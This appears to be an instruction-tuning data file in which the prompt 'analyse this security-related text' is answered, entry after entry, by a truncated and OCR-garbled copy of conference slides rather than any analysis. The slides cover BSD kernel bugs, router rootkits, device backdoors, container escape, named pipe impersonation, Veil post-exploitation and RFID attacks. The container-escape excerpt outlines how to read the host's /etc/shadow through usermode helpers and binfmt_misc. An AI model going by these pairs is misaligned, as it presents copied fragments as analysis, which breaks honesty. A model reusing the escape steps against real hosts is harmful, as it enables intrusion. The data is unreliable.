them, women should carefully consider the privacy and security tradeoffs before deciding to use
any of these applications.
T...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Are all BSDs created equally?
A survey of BSD kernel vulnerabili9es.;
!
!
!
Ilja!van!Sprundel!<ivansprundel@ioac4ve.com>!
Who Am I;
•  Ilja!van!Sprundel!!
•  ivansprundel@ioac4ve.com!
•  Director!of!Penetra4on!Tes4ng!at!IOAc4ve!!
•  Pen!test!
•  Code!review!
•  Break!stuﬀ!for!fun!and!proﬁt!J!!
Outline/Agenda ;
•  Intro!
•  Data!!
•  vulnerabili4es!over!the!years!
•  Test!by!audit!
•  Common!aJack!surface!!
•  Somewhat!less!common!aJack!surface!!
•  Some!results!/!conclusions!!
What is this talk about? ;
•  BSD!kernel!vulnerabili4es!!
•  Comparison!!
•  Between!diﬀerent!BSD!ﬂavors!!
•  Audience!!
•  Low!level!security!enthusiasts!!
•  UNIX/BSD!geeks!!
•  I!suspect!Linux!folks!might!enjoy!this!too!J!
•  Curious!people!that!like!to!poke!around!in!OS!internals!
•  Knowledge!!
•  Some!basic!knowledge!of!UNIX!/!BSD!internals!!!
Standing on
the shoulders
of giants;
•  Previous!interes4ng!BSD!kernel!security!
research!by:!!
•  Silvio!!
•  the!noir!
•  Esa!Etelavuori!
•  Patroklos!(argp)!Argyroudis!
•  Christer!Oberg!!
•  Joel!Erikkson!!
•  Clement!Lecigne!
intro;
Really? Got Data?;
•  Somehow!that!statement!has!always!
been!stuck!in!my!head!!
•  Is!it!true?!!
•  Can!we!look!at!some!data!?!!
Source: hFps://www.cvedetails.com/product/47/Linux-Linux-Kernel.html;
Data! ;
•  Goes!from!current!back!to!1999!for!Linux!kernel!vulnerabili4es!!
•  Cvedetails.com!doesn’t!seem!to!provide!data!for!OBSD/NBSD/FBSD!!
•  Manually!grab!it!from!!
•  hJps://www.freebsd.org/security/advisories.html!
•  hJp://netbsd.org/support/security/advisory.html!
•  hJps://www.openbsd.org/errata*.html!
BSD kernel vulnerabili9es over the years ;
•  Looking!at!these!numbers,!that!was!an!astute!
observa4on!by!Theo.!!
•  20!was!a!very!low!es4mate!!
•  But!are!these!numbers!on!equal!foo4ng?!!
•  Many!eyeballs?!!
•  Yea,!yea,!I!know!….!But!is!there!some!truth!to!it!in!this!
case?!!!
FreeBSD!
NetBSD!
OpenBSD!
1999!
3!
8!
10!
2000!
8!
4!
15!
2001!
6!
7!
13!
2002!
11!
6!
11!
2003!
7!
3!
8!
2004!
8!
5!
13!
2005!
11...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Copyright © 2012 Virtual Security Research, LLC.
All Rights Reserved.
Owning the Network:
Adventures in Router Rootkits
Michael Coppola
Copyright © 2012 Virtual Security Research, LLC.
All Rights Reserved.
Who am I?
▪Security Consultant at Virtual Security
Research in Boston, MA (we're hiring!)
▪Student at Northeastern University
▪Did some stuff, won some CTFs
▪http://poppopret.org/
Copyright © 2012 Virtual Security Research, LLC.
All Rights Reserved.
How did this all start?
▪.npk packages on MikroTik routers
▪Install new features
▫ SOCKS proxy
▫ VPN
▫ IPv6 support
▫ XEN/KVM virtualization
▪Potentially get a shell?
Copyright © 2012 Virtual Security Research, LLC.
All Rights Reserved.
Router Firmware Upgrade Feature
Copyright © 2012 Virtual Security Research, LLC.
All Rights Reserved.
The Big Question
Copyright © 2012 Virtual Security Research, LLC.
All Rights Reserved.
Can a universal process be
developed to modify SOHO
router firmware images to
deploy malicious code without
altering the interface or
functionality of the device?
Copyright © 2012 Virtual Security Research, LLC.
All Rights Reserved.
Can a universal process be
developed to modify SOHO
router firmware images to
deploy malicious code without
altering the interface or
functionality of the device?
...a rootkit of sorts?
Copyright © 2012 Virtual Security Research, LLC.
All Rights Reserved.
Intentions
▪Share my personal experience pursuing the
topic and the challenges encountered
▪Gain better insight into router internals
▪Release some code
▪Pop some shells
▪Pwn some devices
Copyright © 2012 Virtual Security Research, LLC.
All Rights Reserved.
Prior Work
▪OpenWRT/DD-WRT
▫ Custom firmware, reverse engineering, hardware /
firmware profiling
▪firmware-mod-kit
▫ De/reconstruction of firmware images
▪devttys0.com
▫ Firmware modding, reverse engineering, and
exploitation
Copyright © 2012 Virtual Security Research, LLC.
All Rights Reserved.
Use Cases
▪Default/weak credentials on admin panel
▪RCE/auth ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

FROM BOX TO BACKDOOR
U s i n g  O l d  S c h o o l  To o l s  a n d  Te c h n i q u e s  t o  D i s c o v e r
B ac k doors in Modern Dev ic es
Patrick DeSantis | @pat_r10t
ADVANCED PERSISTENT THIRST (APT)
ADVANCED PERSISTENT THIRST (APT)
MOXA AWK-3131A WAP
MOXA WAP: ABOUT
“The AWK-3131A is 802.11n compliant to deliver speed, range, and
reliability to support even the most bandwidth-intensive applications. The
802.11n standard incorporates multiple technologies, including Spatial
Multiplexing MIMO (Multi-In, Multi-Out), 20 and 40 MHz channels, and dual
bands (2.4 GHz and 5 GHz) to provide high speed wireless communication,
while still being able to communicate with legacy 802.11a/b/g devices. The
AWK's operating temperature ranges from -25 to 60°C for standard models
and -40 to 75°C for wide temperature models, and is rugged enough for all
types of harsh industrial environments. Installation of the AWK is easy using
DIN-Rail mounting or distribution boxes, and with its wide operating
temperature range, IP30-rated housing with LED indicators, and DIN-Rail
mounting it is a convenient yet reliable solution for all types of industrial
wireless applications.”
- Moxa
MOXA WAP: ABOUT TL;DR
•  It’s an 802.11n Wireless Access Point
(WAP)
–  in a din rail mountable enclosure
–  many of the the parts inside are the same
as in common SOHO networking devices
•  Moxa advertises that the AWK series is
–  "a Perfect Match for Your AGV & AS/RS
Systems”
•  Automated Guided Vehicles (AGV)
•  Automated Storage and Retrieval System
(AS/RS)
–  common in Automated Materials Handling
(AMH) systems
MOXA WAP: ABOUT
•  It’s “Unbreakable”
MOXA WAP: DEVICE LIMITATIONS
•  Limited to about 8k connections per some unit of time
–  lots of resource exhaustion DoS issues
–  throttle traffic or wait for recovery
•  Crashes… a lot
•  No legit operating system access
•  Very limited shell environment
–  most management and configuration done via web app
•  ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

CONTAINER ESCAPE IN 2021
关于我
l 基础设施安全工程师 @蚂蚁集团
l 安全研究与研发
l Linux 内核/虚拟化/容器/底层安全
l HITB, CanSecWest, Syscan360…
目录
l 容器逃逸简介
l 新的容器逃逸方法
l 防御方法
1. 容器逃逸简介
容器简介
l Docker诞生于2013年，OS层的虚拟化技术
l 应用级别的抽象
l 轻量，标准，隔离
Docker简介
l namespaces:隔离
l cgroups: 资源控制
l UnionFS:镜像共享与分发
容器安全
l 天下没有免费的午餐：性能 vs 安全
l 容器与宿主机弱隔离
l 共享同一个内核
容器逃逸类型
l 容器引擎漏洞
l 不当的权限配置
l 内核漏洞
特权CAP
l CAP_SYS_MODULE
l CAP_SYS_ADMIN
l CAP_DAC_READ_SEARCH
敏感mounts
l sysfs/procfs/tracingfs/debugfs
Usermode helper程序：概念
l 从 Linux 内核发起的程序执行
通过Usermode helper进行逃逸
C: 准备helper程序
C: 将helper写入内核
H: 触发helper被执行
H: helper读取宿主机/etc/shadow
H: helper将/etc/shadow写入容器
C: 读取宿主机/etc/shadow
Usermode helper例子
l /proc/sys/kernel/modprobe
l /proc/sys/kernel/core_pattern
l /sys/kernel/uevent_helper
l /sys/fs/cgroup/*/release_agent
l /proc/sys/fs/binfmt_misc, 尚无公开exploit
2. 新的容器逃逸方法
通过binfmt_misc进行容器逃逸
binfmt_misc简介
l proc文件系统
l 用户态能够注册可执行文件处理器
l Linux内核允许任意文件格式执行
binfmt_misc接口
binfmt_misc揭秘: 用法
l 注册: /proc/sys/fs/binfmt_misc/register
l 显示: /proc/sys/fs/binfmt_misc/<name>
l 清除: echo -1 > /proc/sys/fs/binfmt_misc/<name>
binfmt_misc揭秘: 内核
l 内核中维护着文件类型处理器的链表formats
l execve的时候搜索搜索该链表
匹配之后执行load_binary
binfmt_misc揭秘: 注册自定义handler
l 用户注册的misc_format被插入formats链表头
l 如果有两个handler匹配
同一个可执行文件,
misc_format会被选中
通过binfmt_misc进行容器逃逸
l 可以为ELF/bash/…
注册文件执行处理器
通过binfmt_misc进行容器逃逸: poc1
l 可以为ELF/bash/…
注册文件执行处理器
通过binfmt_misc进行容器逃逸: poc1(继续）
l 替换#!/bin/sh开头文件的解释器
通过binfmt_misc进行容器逃逸: poc1
l 替换#!/bin/sh开头文件的解释器
通过binfmt_misc进行容器逃逸: poc2
通过eBPF进行容器逃逸
eBPF简介
l 从1992年的cBPF发展而来
l 最开始用于网络包过滤
l eBPF能够在运行时向内核添加受限的代码
l eBPF之于内核就如JavaScript之于浏览器
l 内核领域发展最快的子系统之一
eBPF典型项目
l 网络策略
l 内核跟踪
l 运行时安全
Cilium
bpftrace
Falco
eBPF架构
eBPF核心概念
l eBPF 程序类型，决定eBPF代码执行时机
l eBPF map, 用于存储数据，内核/用户态通信
l eBPF verifier, 确保eBPF程序不会对内核造成伤害
l eBPF helper, eBPF程序能够使用的库函数
kprobe与eBPF
l kprobe, 几乎能够在内核任意地址插桩
l 包括kprobe与kretprobe
l eBPF程序能够加载到kprobe上，
kprobe执行时候触发eBPF
容器与eBPF
l eBPF/kprobe没有cgroups和namespaces的概念
l CAP_SYS_ADMIN/BPF容器能够加载eBPF程序
l 容器内部能够读取宿主机信息，控制宿主机行为
通过eBPF进行容器逃逸: 示例
通过eBPF进行容器逃逸: ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

日志分析之昨天今天与明天
关于我
• 安全爱好者
• 安全防御研究
• 2012-2015 当当网 网信金融
• 2015-今 万达电商
日志的价值
我们遇到的日志
议程
• 昨天
• 今天
• 明天
昨天
• 那些年，还是iis的天下
• 0day?
• 注入，我喜欢    :)
向当年的软件作者致敬
• awk
• grep
• wc
• uniq
• sort
• 统计top n
• 关键字过滤
确定入侵时间
状态码过滤
类型过滤
IP分析
确定入侵文件
IP访问
确定时间
状态码过滤
–Johnny Appleseed
日志展示界面（可视化）
今天
• 文件上传
• 平行权限
• LFI
• 命令执行
• Nday
工具
E.L.K
FLUME
FLUTEND
• 频率分析
• 关联分析
频率分析
基线与伐值
数据值
• IP 访问次数
• url 被访问次数
url深度
200比例
反问离散度
url 参数
关联分析
IDS
日志
FW
扫描器
关联分析
IP 关联
• Event E1
• Event E2
• E2.Srcip==E1.Dstip
NIDS 发现有webshell连接，同时HIDS 发现文件变更操作
状态关联
• Event E1
• Event E2
• E2.somestatus is success (or something)
• 基于漏洞关联
• 基于特征关联
• 基于异常关联
了解攻击者
• 什么时间
• 访问了哪些站点
• 做了什么
• 是否成功
• 水平如何
• 采用了什么技术 （代理 扫描器 手工？自动。。。
）
更加强力的工具
来自唯品会：孟诚
• 入侵不一定在时间上是连续的
• 日志的存储
• 特征值更新
明天
• APT
• 0Day
• 未知威胁
关联分析优缺点
• 优点：准确，误报率低
• 缺点：完全依靠经验
创建规则
发现攻击
建立模型
分析攻击
• 弥补关联分析的不足
• 感知异常
• 将更多的精力用在更重要的地方
URL特性
访问频率
GEOIP/PROX
Y
访问内容
…..
日志
结果
U
R
L
特
性
访
问
频
率
G
E
O
IP
/P
R
O
X
Y
访
问
内
容
…
..
日
志
结
果
U
R
L
特
性
访
问
频
率
G
E
O
IP
/P
R
O
X
Y
访
问
内
容
…
..
日
志
结
果
U
R
L
特
性
访
问
频
率
G
E
O
IP
/P
R
O
X
访
问
内
容
…
..
日
志
结
果
U
R
L
特
性
访
问
频
率
G
E
O
IP
/P
R
O
X
访
问
内
容
…
..
日
志
结
果
URL特性
访问频率
GEOIP/PROX
Y
访问内容
…..
日志
结果
机器学习
• 贝叶斯
来自 腾讯  －－江虎
机器学习
• 预测sql注入
机器学习
• 预测机器注册
• SVM
• K-means
• HMM
• 决策树
格式化／去噪音
获取数据
数据分析
结果
计算
回馈
Thank you !
lion_00@163.com


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Offensive Windows IPC Internals 1:
Named Pipes
Contents:
Introduction
Named Pipe Messaging
Data Transfer Modes
Overlapping Pipe I/O, Blocking mode & In-/Out Buffers
Named Pipe Security
Impersonation
Impersonating a Named Pipe Client
Attack Surface
Client Impersonation
Attack scenario
Prerequisites
Misleading Documentation
Implementation
Instance Creation Race Condition
Attack scenario
Prerequisites
Implementation
Instance Creation Special Flavors
Unanswered Pipe Connections
Killing Pipe Servers
PeekNamedPipe
Prerequisites
Implementation
References
The Series: Part 2
Introduction
This post marks the start of a series of posts about the internals and interesting bits of various
Windows based Inter-Process-Communication (IPC) technology components. Initially this series
will cover the following topics:
Named Pipes
LPC
ALPC
RPC
A few IPC technology components are therefore left out, but I might append this series sometime
and include for example some of these:
Window Messages
DDE (which is based on Window Messages)
Windows Sockets
Mail Slots
Alright so let’s get down to it with Named Pipes…
Although the name might sound a bit odd pipes are a very basic and simple technology to enable
communication and share data between two processes, where the term pipe simply describes a
section of shared memory used by these two processes.
To term this correctly right from the beginning, the IPC technology we’re speaking about is called
‘pipes’ and there are two types of pipes:
Named Pipes
Anonymous Pipes
Most of the time when speaking about pipes you’re likely referring to Named Pipes as these offer
the full feature set, where anonymous pipes are mostly used for child-parent communications.
This also implies: Pipe communication can be between two processes on the same system (with
named and anonymous pipes), but can also be made across machine boundaries (only named
pipes can talk across machine boundaries). As Named Pipes are most relevant and support the
full feature s...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

John Shaw, Wisconsin DOT, 2013
Federal Highway Administration, 2013
Non-Significant Address Part (NAP)
Upper Address Part (UAP)
Lower Address Part (LAP)
00:00
09
4E:22:19
Manufacturer-assigned, irrelevant
Can be derived from traffic
Sent in every packet
University of Washington STAR Lab
Washington State Transportation Center, 2011
University of Washington STAR Lab
Edward Snowden by way of the Washington Post


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Veil%Pillage:**
Post%Exploitation*2.0*
Will$$
@harmj0y*
Veris$Group$–$Adaptive$Threat$Division$
$*whoami*
▪  Security$researcher$and$pentester/red$teamer$
for$Veris$Group’s$Adaptive$Threat$Division$$
▪  Co?founder$of$the$Veil?Framework$#avlol$
– www.veil?framework.com$
– Shmoocon'‘14:'AV$Evasion$with$the$Veil$
Framework$
– co?wrote$Veil?Evasion,$wrote$Veil?Catapult,$Veil?
PowerView,$and$PowerUp$
$
▪  Active$Cortana,$Powershell,$and$NovaHacker!$
tl;dr*
▪  The$Veil?Framework$
▪  Post$Exploitation;$redux$
▪  Veil?Pillage$
▪  Current$Module$Overview$
▪  Hashdumping$and$Plaintext$Creds$
▪  Demos$
▪  KB$2871997$(Microsoft$PTH$ﬁx?)$
▪  Module$Releases$and$Development$
▪  Recap$
The*Veil%Framework*
How$We$Got$Here$
Background*
▪  Started$with$the$May$2013$release$of$
‘Veil’,$later$renamed$to$‘Veil?Evasion’$
▪  Utilizes$various$languages$and$
techniques$to$generate$AV?evading$
payloads$
– shellcode$injection$and$’pure’$meterpreter$
stagers$
▪  Debuted$at$Shmoocon$‘14:$“AV$Evasion,
with,the,Veil$Framework”,
– https://www.veil?framework.com/$
How*We*Got*Here*
▪  After$dealing$with$AV?evasion,$focus$
moved$to$payload$delivery$
▪  Wanted$a$way$to$trigger$backdoors$on$
target$boxes$in$a$stealthy$way$
▪  Released$at$Shmoocon'‘14,$Veil?
Catapult$can$upload/host$and$execute$
binaries,$as$well$as$few$other$common$
tricks$
The*Attack*Cycle*
Recon$
Enumeration$
Exploitation$
Post?
exploitation$
Post%Exploitation;*Redux*
Identify$points$that$aﬀect$business$impact$
Datamine$for$Sensitive$Information$
Establish$Persistence$
Acquire$Domain/Network$Administrative$Privileges$
Identify$Further$Exploit$Points$
Escalate$Privileges$
Gain$Situational$Awareness$
Gain$Access$Through$Exploit$
Post%Exploitation;*English*
▪  If$you$have$access$and/or$credentials$for$
one$or$more$machines$on$a$network,$
what$can$you$do?$
▪  Example:'say$you$have$a$local$
administrator$hash$for$remote$hosts,$
and$want$to$grab$plaintexts$of$other$
logged$on$users$on$those$hosts?$
Post%Exploitation;*Today*
▪  Option'#1:'P...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

RF-ID and Smart-Labels: Myth,
Technology and Attacks
DefCon 2004
July 30 - August 1, Alexis Park, Las Vegas,
NV
Lukas Grunwald
DefCon 2004
RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 1
Agenda
What is RF-ID ?
What is RF-ID and what are Smart-Labels
Risks and dangers with them
Fun with them, how to protect your privacy
Attacks against Smart-Label Systems, RF-ID Systems
Demonstration of RF-ID Tags and RF-DUMP in
practical use
The RSA-Blocker-Tag fake
The Metro Future Store
RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 2
RF-ID
RF-ID (Radio Frequency Identiﬁcation) is a mechanism to
get an identiﬁcation remotely from:
your remote-control for your garage
an access control-system for a room
a cage in a factory
an electronic product code attached to a wrapped item
in the supermarket
RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 3
Frequencies
RF-ID (Radio Frequency Identiﬁcation) operates globally on
different frequencies, the most common systems are using
the ISM (Industrial Science Medical) Bands:
6765 - 6795 kHz
40,66 - 40,7 MHz
24 - 24,25 GHz
13553 - 13567 kHz
433,05 - 434,79 MHz
61 - 61,5 GHz
26957 - 27283 kHz
2400 - 2500 MHz
122 - 123 GHz
RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 4
Smart Labels - EPC
Smart-Labels are a special form of an RF-ID application. The tags look like normal product
tags, but inside is an antenna and a small microchip. The tags have a Serial Number and an
EEPROM that can store information like the EPC (Electronic Product Code), an international
unique code from the manufacturer. Now the labels have mobile communication capabilities.
EPC Type 1
01
0000A66
00016F
000169DCD
Header
EPC Manager
Object Class
Serial Number
8 Bit
24 Bit
24 Bit
36 Bit
The ISO-Standard Smart-Labels operate on the ISM
Frequency 13.56 MHz
RF-ID and Smart-Labels: Myth, Technology and Attacks – p. 5
Smart-Label - Variants
Some of the well-known cheap Smart-Labels you´ll ﬁnd
today and tomorrow in some consumer-products are:...